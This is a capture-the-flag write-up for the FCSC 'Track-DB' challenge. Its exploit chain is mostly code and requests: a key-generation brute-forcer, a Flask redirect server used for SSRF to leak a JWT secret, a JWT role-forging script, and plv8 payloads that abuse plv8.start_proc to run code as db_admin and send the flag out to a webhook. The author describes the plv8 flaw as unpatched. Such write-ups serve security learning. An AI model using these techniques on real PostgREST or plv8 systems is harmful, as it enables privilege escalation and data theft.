Track DB

Description

Track-DB est le meilleur bug tracker de tous les temps. Espérons simplement qu'il ne se fasse pas hacker.

https://track-db.fcsc.fr/

Write Up

Challenge structure

The challenge is composed with four services :

• An instancier in python : Used in the design of the challenge, this service must not be attacked.
• A nginx proxy : Used to redirect requests either to the instantiator or to the challenge, there's no need to dwell on this configuration either.
• A frontend application made in TypeScript : This application acts as a proxy between our inputs on the web page and the PostgREST service described below, so there's no need to look for vulnerabilities in it.
• A PostgREST service : This is where the heart of the challenge lies: all the API endpoints are actually defined here, along with their logic. The application's rights system, which will be described at the start of the write-up, can also be seen here.

The challenge infrastructure schema is the following:

Challenge's infrastructure.

The flag is located in the table "exposed"."flags" but is only accessible to the db_admin user as seen in the file src/postgres/init/09-flag.sql :

BEGIN;

  SET ROLE "db_admin";
  CREATE TABLE "exposed"."flags" (
    "flag" text
  );

  GRANT SELECT ON "exposed"."flags" TO "db_admin";

COMMIT;

tl;dr the aim of this challenge is to identify several vulnerabilities within the PostgREST service in order to elevate our privileges in the hierarchy and gain db_admin privileges to get the flag.

Solving the chall

This challenge was designed with one instance per player (gg BitK for the implementation – I had no trouble!), so it is deduced that at some point in the challenge, exploiting a vulnerability would have been destructive or would have caused the flag to leak to everyone.

This challenge offers different levels of permissions that can be read in the file src/postgres/init/00-init.sql :

-- Prepare the different roles
CREATE ROLE "anon"          NOLOGIN;
CREATE ROLE "webuser"       NOLOGIN;
CREATE ROLE "premiumuser"   NOLOGIN;
CREATE ROLE "premiumplus"   NOLOGIN;
CREATE ROLE "authenticator" LOGIN PASSWORD 'authenticator';
CREATE ROLE "db_admin"      NOLOGIN BYPASSRLS;

-- Function execution privileges need to be explicitly granted
ALTER DEFAULT PRIVILEGES FOR ROLE "db_admin" REVOKE EXECUTE ON FUNCTIONS FROM PUBLIC;

GRANT "anon"          TO "webuser";
GRANT "webuser"       TO "premiumuser";
GRANT "premiumuser"   TO "premiumplus";
GRANT "premiumplus"   TO "authenticator";
GRANT "authenticator" TO "db_admin";

anon to webuser

webuser to premiumuser

After registering on the application, access to the following front page is given !

Challenge frontend

The Buy Premium feature requires the sales team to be contacted to provide an activation key, but no sales email is given, so the source code that checks our input, located in the file src/postgres/init/05-premium.sql is the following :

CREATE FUNCTION "exposed"."check_premium_key"("_username" text, "_key" TEXT)
 RETURNS boolean 
 LANGUAGE SQL
 STABLE
 AS $$
    WITH 
      p1 AS (SELECT string_to_array("_key", '-') AS arr),
      p2 AS (
        SELECT arr, 
          (arr)[1]::int AS p1, 
          (arr)[2]::int AS p2, 
          (arr)[3]::int AS p3, 
          cardinality(arr) AS cnt
        FROM p1
      ),
      p3 AS (SELECT point((p1/256)::text || ',' || (p1 % 256)::text) AS pt FROM p2),
      p4 AS (
        SELECT array_to_string(array_agg(get_byte(md, i)), ',')::polygon AS p4
        FROM (VALUES (decode(md5("_username"), 'hex'))) t(md),
            generate_series(0, octet_length(t.md)-1) AS s(i)
      )
    SELECT CASE
      WHEN cnt <> 3 THEN FALSE
      WHEN (SELECT pt <-> @@ p4 FROM p3, p4) > 1  THEN FALSE
      WHEN NOT (to_timestamp(p2) BETWEEN now() - INTERVAL '1 year' AND now()) THEN FALSE
      WHEN ((p1 + p2 + p3) % 1337) <> 0 THEN FALSE
      ELSE TRUE
    END
    FROM p2;
  $$;

This is a pretty complex function, I first try to ask ClaudeAI if he understands something about it, but he continually mades errors in the interpretation of PostgreSQL calculation symbols. I came up with the following bruteforce function that founds a valid key each ~20000 tries :

CREATE OR REPLACE FUNCTION generate_key()
RETURNS TEXT
LANGUAGE plpgsql
AS $$
DECLARE
    p1 integer;
    p2 integer;
    p3 integer;
    is_valid boolean;
BEGIN
    FOR try IN 1..50000 LOOP

        p1 := floor(random() * 100000)::integer;
        p2 := extract(epoch from now() - (random() * interval '11 months'))::integer;
        p2 := p2 % 10000000000;
        p3 := (1337 - (p1 + p2) % 1337) % 1337;

        SELECT "check_premium_key"('a', lpad(p1::text, 5, '0') || '-' || lpad(p2::text, 10, '0') || '-' || lpad(p3::text, 4, '0'))
        INTO is_valid;

        IF is_valid THEN
            RETURN lpad(p1::text, 5, '0') || '-' || lpad(p2::text, 10, '0') || '-' || lpad(p3::text, 4, '0');
        END IF;
    END LOOP;

    RETURN 'no';
END
$$;

After running this script on a very dedicated environment, the following key is found to be valid 27570-1745106461-1263.

premiumuser to premiumplus

If the frontend page is checked again, access to the Hooks feature is now given :

Challenge frontend v2

This feature is used when a bug is created on the application, or a comment is left on an existing bug. When a hook is created, the application allows to test it :

Test hook feature.

The code associated to this test feature is located in the file src/postgres/init/07-hooks.sql :

CREATE OR REPLACE FUNCTION "private"."perform_hook"(target text, payload json)
RETURNS json
LANGUAGE plv8
AS $$
    -- [...]

    const url = `${hook.protocol}://${hook.domain}${hook.path}/${target}`;
    const httpResult = plv8.execute(`SELECT row_to_json(http.http_post($1, $2, $3)) AS result`, [
        url, 
        response,
        contentType
    ])[0]?.result;

    -- [...]
$$;

-- [...]

CREATE OR REPLACE FUNCTION "exposed"."test_hook"(target text)
RETURNS json
LANGUAGE plv8
AS $$
    if (target === 'bugs'){
    return plv8.find_function('private.perform_hook')('bugs', {
        id: 1, 
        title: 'Test bug', 
        created_at: Date.now(), 
        updated_at: Date.now(),
        created_by: 0,
        priority: 'low', 
        status: 'open',
        description:'description'});
    } else if (target === 'comments') {
    return plv8.find_function('private.perform_hook')('comments', {
        id: 1, 
        bug_id: 1, 
        created_at: Date.now(), 
        updated_at: Date.now(),
        created_by: 0,
        content: 'Test comment'});
    }

    return {error: 'Invalid target'};
$$;

When a test is run, the following HTTP POST request is received on a webhook from the challenge :

Webhook trigger.

Looking at the documentation for the pgsql-http module, it can be noticed that redirects are not followed for HEAD requests, so it can be deduced that for others HTTP verb requests, redirects are followed, which exposed the application to full read Server Side Request Forgery (SSRF). In fact, when the test feature is triggered, all response headers and body are returned by the PostgREST application :

Hook's response.

An SSRF is found to be very useful in this case. By looking at the PostgREST documentation, it can be learned that an administration interface is available and is being listened to on 127.0.0.1, but on which port? If the storage tab of Firefox (or Chrome, Chromium, Brave, Netscape, etc.) is looked at, it can be seen that an instancier cookie containing a JWT is present :

Admin interface port.

For the instance on which I'm currently writing the writeup, the administration interface port is 27621. On this administration interface, an endpoint that returns the running configuration can be reach at /config, in the configuration dump, the secret used to sign JWTs is returned in cleartext. The following Python script allows to redirect the HTTP call made by the PostgREST backend :

from flask import redirect, Flask

app = Flask(__name__)

@app.route('/bugs', methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS', 'HEAD'])
def bugs():
    return redirect("http://postgrest:27261/config")

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

In the API response, the JWT secret is recovered :

db-uri = "postgres://authenticator:authenticator@postgres:5432/db_7df2cd6ea5c755948c3f"
[...]
jwt-role-claim-key = ".\"role\""
jwt-secret = "923488d6bebafb9e3f832315c986b5a7b371fe407afdf9945edea9959cb49bed"
jwt-secret-is-base64 = false
jwt-cache-max-lifetime = 0
[...]

From now on, JWTs can be forged for any role defined in the PostgREST service, on one condition: a role that is superior to the one used to connect to the database cannot be assumed. The role used to connect to the database is authenticator, as can be observed in the dumped configuration shown above, or in the src/postgrest/app/templates/postgrest.conf file :

$ cat ./src/postgrest/app/templates/postgrest.conf | grep -v '#' | grep .   
[...]
db-uri = "postgres://authenticator:authenticator@postgres:5432/{{db_name}}"
[...]

premiumplus/authenticator to db_admin

As for now, premiumplus and authenticator rights are available. The hook functionality can still be used, but other rights are also unlocked. To find out what these are, another look can be taken at the src/postgres/init/00-init.sql file :

-- [...]
GRANT USAGE, CREATE ON SCHEMA "premiumplus" TO "premiumplus";
GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA "private" TO "authenticator";
-- [...]

By reading that, it can be understood that any function defined in the premiumplus or private schema (depending on the role placed in the JWT) can now be executed. At this point, if the challenge is thought about in a CTF way, the question might be asked: "Which files (hence API endpoints) have not already been used in the exploit chain?" The answer is src/postgres/init/06-premiumplus.sql and src/postgres/init/08-gdpr.sql. Several functions that can be called through the API are defined in those files.

• src/postgres/init/06-premiumplus.sql : This part of the API is used to create and check whether render functions exist. Within the application, it's possible that two such functions exists, render_bugs or render_comments. These two functions must be written using the plv8 language, and can be defined by the user if they have premiumplus rights (spoiler: that's our case). This Postgres language can be used to execute simple JavaScript (oh dear what could go wrong ?), it also allows to execute arbtrary SQL commands through the execute function.
• src/postgres/init/08-gdpr.sql : this API endpoint makes it possible to delete everything that has been saved for RGPD reasons.

As mentioned above, Postgres functions in the plv8 language can be created and will then be executed by the application. They are executed in the hook feature, when a bug is created on the application, or when a comment is left on an existing bug, as can be seen by looking at the src/postgres/init/07-hooks.sql file :

CREATE OR REPLACE FUNCTION "private"."perform_hook"(target text, payload json)
RETURNS json
LANGUAGE plv8
AS $$
    if (target !== 'bugs' && target !== 'comments') {
    throw new Error('Invalid target');
    }

    const hook = plv8.execute(`SELECT * FROM exposed.hooks WHERE trigger_on = $1::exposed.trigger_on_enum LIMIT 1`, [target]).at(0);
    if (!hook) {
    return {error: 'No hook found'};
    }
    try {
    const has_render_function = plv8.find_function('exposed.has_render_function')

    let contentType = 'application/json';
    let response = JSON.stringify(payload);

    if (has_render_function(target)) {
        contentType = 'text/html';

        const renderFunction = plv8.find_function(`premiumplus.render_${target}`);
        const result = renderFunction(payload);
        contentType = result.contentType ?? 'text/plain';
        response = result.body;
    }
    const url = `${hook.protocol}://${hook.domain}${hook.path}/${target}`;
    const httpResult = plv8.execute(`SELECT row_to_json(http.http_post($1, $2, $3)) AS result`, [
        url, 
        response,
        contentType
    ])[0]?.result;

    return httpResult;
    } catch (e) {
    return {error: String(e)}
    }
$$;

Here, it should be noted that, as all functions (except some that will be seen later) are executed with the role defined in the JWT, a bug or a comment must be created with the authenticator role; otherwise, the custom function render_bugs or render_comments will not be executed.

As stated at the start of this write-up, the flag is stored in the “exposed”.“flags” table, which can only be queried by the db_admin user, so a way to elevate privileges to this user must be found. Within PostgreSQL, a special directive exists that allows a function to be executed as the user who created it, rather than the user who is executing it. The directive used to achieve this is called SECURITY DEFINER, and if the code of the gdpr_cleanup function in the src/postgres/init/08-gdpr.sql file is looked at :

SET ROLE "db_admin";

CREATE FUNCTION "exposed"."gdpr_cleanup"() 
RETURNS void 
LANGUAGE plv8
SECURITY DEFINER
SET search_path TO pg_catalog 
AS $$
    const has_render_function = plv8.find_function('exposed.has_render_function')
    if (has_render_function('bugs')) {
    plv8.execute(`DROP FUNCTION premiumplus.render_bugs`);
    }
    if (has_render_function('comments')) {
    plv8.execute(`DROP FUNCTION premiumplus.render_comments`);
    }
    plv8.execute(`DELETE FROM exposed.hooks`);
    plv8.execute(`DELETE FROM exposed.comments`);
    plv8.execute(`DELETE FROM exposed.bugs`);
    plv8.execute(`DELETE FROM exposed.users`);
$$;

When this function is called, it will always be executed with db_admin rights, so a way of injecting code into this function will have to be found, which does not seem obvious as nothing is controlled here. From there, many things were tried that did not work out :

• Pollute plv8's global context to hijack the find_function function used in exposed.gdpr_cleanup : Doesn't work because, when the context is changed (user context here), plv8 creates a new JavaScript runtime.
• Create triggers when functions are deleted (as it is possible to call SQL from plv8) : Not possible, as superuser rights are required to do this.

In this challenge, BitK has created a special module to prevent us from SET variables, only some are allowed, you can see this in the file src/postgres/plugins/block_set/block_set.c :

// [...]
static const char *allowed_set_vars[] = {
    "client_encoding",
    "client_min_messages",
    "search_path",
    "role",
    "request.jwt.claims",
    "request.method",
    "request.path",
    "request.headers",
    "request.cookies",
    "app.user.id",
    "app.user.name",
    "app.user.role",
    NULL};
// [...]

The C script effectively prevents variables from being set via these two directives :

• SET test TO 'test';
• SELECT set_config('test','test', TRUE);

But...

PostgreSQL also allows to set variable through the ALTER USER directive : ALTER USER authenticator test TO 'test';, as plv8 executes raw SQL queries, it is possible to actually execute this one and set variable again. This method requires to reconnect to the database for the variable to take effect, but as the challenge reopens a connection with each request, this is not a problem.

Variable meme./p>

Being able to set variables is not necessarily dangerous in the context of PostgreSQL, it's even expected, but in the case of plv8, it opens up a rather huge breach under condition...

While testing plv8's isolation on the change between roles, and now being able to set variables, I went to read plv8's documentation and in particular the variables that can be defined. Among these, one caught my attention, plv8.start_proc. According to the documentation, "PLV8 provides a start up facility, which allows you to call a plv8 runtime environment initialization function specified in the GUC variable.[...] If this variable is set when the runtime is initialized, before the function call of plv8_test() another plv8 function is invoked". Reading that, I wondered whether this variable was reset when a user change was made. I identified that the only case where this could be a problem is if a function is created with the SECURITY DEFINER directive in the PLV8 language, and... this is actually the case in the challenge, so why not test it?

I first decided to test this locally before doing it via the API :

psql> SELECT current_user;
authenticator
psql> SELECT * FROM exposed.flags;
ERROR:  permission denied for table flags
psql> CREATE SCHEMA myscheme;
CREATE SCHEMA
psql> CREATE OR REPLACE FUNCTION premiumplus.test()
RETURNS VOID
SECURITY INVOKER
LANGUAGE plv8
AS $$
    plv8.elog(NOTICE, 'Code executed in db_admin context ! Privileges granted !');
    plv8.execute("GRANT SELECT ON TABLE exposed.flags TO authenticator;");
$$;
CREATE FUNCTION
psql> ALTER USER authenticator SET plv8.start_proc TO 'premiumplus.test';
SET

-- Disconnect and reconnect to the database

psql> SELECT exposed.gdpr_cleanup();
NOTICE:  Code executed in db_admin context ! Privileges granted !
 gdpr_cleanup 
--------------

(1 row)
psql> SELECT * FROM exposed.flags;
          flag          
------------------------
 FCSC{flag_placeholder}
(1 row)

It works ! In PLV8's code, they forget to reset the variable in the case of a context switch via SECURITY DEFINER, which allows, via the plv8.start_proc variable, to execute code in the context of db_admin, and retrieve the flag!

From there, the attack plan is as follows :

First steps:
- Create a user on the application (hardest part)
- Create a very beautiful keygen
- Exploit the SSRF to retrieve the JWT secret key
- Craft a JWT with the `authenticator`

First exploit:
- Create a function through the `premiumplus` API (when a bug is created for example), that: 
    - Create our `premiumplus.test` function to be executed through the `plv8.start_proc` variable.
    - Alter our current user `authenticator` to set the GUC variable `plv8.start_proc` to `premiumplus.test`
- Create a bug (with authenticator as role in the JWT !)
- Call the `exposed.gdpr_cleanup` function through the web application (there's a button for that)

- Repeat the "First steps"

Second exploit:
- Create a function through the `premiumplus` API (when a bug is created for example), that select the flag and send it to the associated webhook.
- Create a bug (with authenticator as role in the JWT !)

- Profit \o/

The first steps have already been explained in this writeup, so I'll only detail the function creation and execution part here.

In order to craft the JWT with the authenticator role, I've created the following Python script :

#!/usr/bin/env python3
import jwt
import argparse
import sys

def promote(token: str, secret: str, role: str) -> str:
    try:
        payload = jwt.decode(token, secret, algorithms=['HS256'])
    except jwt.PyJWTError as e:
        print(f"Error : {e}", file=sys.stderr)
        sys.exit(1)

    payload['role'] = role

    new_token = jwt.encode(payload, secret, algorithm='HS256')
    return new_token

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('token')
    parser.add_argument('-s', '--secret', required=True)
    parser.add_argument('-a', '--alg', default='HS256')
    parser.add_argument('-r', '--role', default='authenticator')
    args = parser.parse_args()

    new_jwt = promote(args.token, args.secret, args.role)
    print(new_jwt)

if __name__ == "__main__":
    main()

First exploit

Don't forget that a hook must be actually set in order for the function to trigger. The first step is about creating a new function when a bug is created, for that, a JWT for the role premiumplus must be crafted, and the following POST request performed :

POST /api/rpc/create_render_function HTTP/1.1
Host: track-db.fcsc.fr
Cookie: instancier_session=<instancier_token>
Content-Type: application/json
Authorization: Bearer <premiumplus_role_jwt>
Content-Length: 337

{
  "target": "bugs",
  "arg_name": "test",
  "code": "plv8.execute('CREATE OR REPLACE FUNCTION premiumplus.test() RETURNS VOID SECURITY INVOKER LANGUAGE plv8 AS $$ plv8.execute(\"GRANT SELECT ON TABLE exposed.flags TO authenticator;\"); $$'); plv8.execute(\"ALTER USER authenticator SET plv8.start_proc TO 'premiumplus.test';\");"
}

---

HTTP/1.1 200 OK
[...]

true

Second step, craft a JWT but this time for the authenticator role and create a bug with it :

POST /api/bugs HTTP/1.1
Host: track-db.fcsc.fr
Content-Length: 70
Cookie: instancier_session=<instancier_token>
Content-Type: application/json
Authorization: Bearer <authenticator_role_jwt>

{
  "description":"a",
  "priority":"low",
  "status":"open",
  "title":"a"
}

---

HTTP/1.1 201 Created
[...]

[
    {
        "id":1,
        "created_by":1,
        "title":"a",
        "priority":"low",
        "status":"open",
        "description":"a",
        "created_at":"2025-04-26T23:16:23.382702+00:00","updated_at":"2025-04-26T23:16:23.382702+00:00"
    }
]

Third step, simply call the exposed.gdpr_cleanup function through the following workflow :

GDPR call.

Then, a new account is required has tables were deleted.. fourth step, again, craft a JWT for the role premiumplus in order to create a function that will select and leak the flag :

POST /api/rpc/create_render_function HTTP/1.1
Host: track-db.fcsc.fr
Content-Length: 160
Cookie: instancier_session=<instancier_token>
Content-Type: application/json
Authorization: Bearer <premiumplus_role_jwt>

{
  "target": "comments",
  "arg_name": "test",
  "code": "const rows = plv8.execute('SELECT * FROM exposed.flags'); return {body: JSON.stringify(rows)};"
}

---

HTTP/1.1 200 OK
[...]

true

Fifth and last step, craft again a JWT but this time for the authenticator role and create a bug with it :

POST /api/bugs HTTP/1.1
Host: track-db.fcsc.fr
Content-Length: 70
Cookie: instancier_session=<instancier_token>
Content-Type: application/json
Authorization: Bearer <authenticator_role_jwt>

{
  "description":"a",
  "priority":"low",
  "status":"open",
  "title":"a"
}

---

HTTP/1.1 201 Created
[...]

[
    {
        "id":1,
        "created_by":1,
        "title":"a",
        "priority":"low",
        "status":"open",
        "description":"a",
        "created_at":"2025-04-26T23:16:23.382702+00:00","updated_at":"2025-04-26T23:16:23.382702+00:00"
    }
]

On the webhook, a POST request is received with flag in the body :

Flag.

Flag

FCSC{ecfc2902e59ee8ba3ada96bf1392a97abaefc3a7331e39f9587abf856695b2de}

PS

This vulnerability is not patched.

I've reported it to the maintainer of PLV8's module, but he do not consider this as a vulnerability :

Not a vuln?